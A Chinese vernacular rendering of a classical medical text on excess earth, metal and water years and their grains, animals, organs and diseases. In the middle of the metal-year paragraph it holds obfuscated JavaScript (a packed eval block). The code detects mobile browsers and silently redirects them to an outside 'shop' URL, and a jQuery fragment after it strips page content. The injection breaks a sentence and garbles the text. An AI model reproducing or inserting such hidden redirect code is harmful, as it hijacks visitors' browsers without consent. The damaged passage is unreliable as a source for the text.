敦阜的年份，称为广化。其德行浑厚而清静，使万物顺时生长乃至充盈，土的至阴之气充实，则万物能生化而成形，土运太过，故见土气蒸腾如烟，笼罩于山丘之上，大雨常下，湿气用事，燥气退避。其化圆满，其气丰盛，其权力则为静，其权力的表现是周密而祥备，其变动则湿气积聚，其性能柔润，使万物不断得到润泽，其变化则为暴雨骤至、雷霆震动、山崩堤溃，在谷类是稷、麻，在畜类是牛、犬，在果类是枣、李，在颜色是黄、黑、青，在五味是咸、酸，其象征为长夏，在人体的经脉是足太阴、足阳明，其应于内脏为脾、肾，在虫类是倮虫毛虫，在物体属于人体肌肉和植物果核的一类，在病变为腹中胀满，四肢沉重，举动不便，由于土运太过，木气来复，所以大风迅速而来，其所见的疾病，多由邪气伤于脾脏。 坚成的年份，称为收引。天高气爽洁净，地气亦清静明朗，阳气跟随隐气的权力而生化，因为阳明燥金之气当权，于是万物都成熟，但金运太过，故秋收之气旺盛四布，以致长夏的化气未尽而顺从收气行令。其化是提早收成，其气是削伐，其权力过于严厉肃杀，它权力的表现是尖锐锋利而刚颈，其在人体之变动为强烈的折伤和疮疡、皮肤病，其正常的性能是散布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428802|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾露凉风，其变化则为肃杀凋零的景象，在谷类是稻、黍，在畜类是鸡、马，在果类是桃、杏，在颜色是白、青、丹，它化生的在五味是辛、酸、苦，其象征为秋天，在人体上相应的经脉是手太阴、手阳明，在内脏是肺与肝，化生的在虫类是介虫羽虫，生成物体是属于皮壳和筋络的一类，如果发生病变，大都为气喘有声而呼吸困难。若遇金运太过而逢火气司天的年份，因为火能克金适得其平，所以说上徽与正商相同。金气得到抑制，则木气不受克制，生气就能正常行令，发生的病变为咳嗽。金运太过的年份剧变暴虐，各种树木受到影响，不能发荣，使得草类柔软脆弱都会焦头，但继之火气来复，好象夏天的气候前来相救，故炎热的天气又流行，蔓草被烧灼而渐至枯槁，人们发生病变，多由邪气伤于肺脏。 流衍的年份，称为封藏。寒气执掌万物的变化，天地间严寒阴凝，闭藏之气行使其权力，火的生长之气不得发扬。其化为凛冽，其气则坚凝，其权力为安静，它权力的表现是流动灌注，其活动则或为漂浮，或为下泻，或为灌溉，或为外溢，其性能是阴凝惨淡、寒冷雾气，其气候的变化为冰雪霜雹，在谷类是豆、稷，在畜类是猪、牛，在果类是栗、枣，显露的颜色是黑、朱红与黄，化生的五味是咸、苦、甘，其象征为冬天，在人体相应的经脉是足少阴、足太阳，其应于内脏为肾和心，化生的虫类是鳞虫倮虫，生成物体属充满汁液肌肉的一类，如果发生病变是胀。若逢水气司天，水运更太过，二水相合，火气更衰，故流衍逢上羽，火生长之气更不能发挥作用。如果水行太过，则土气来复，而化气发动，以致地气上升，大雨不时下降，人们发生的病变，由于邪 气伤于肾脏。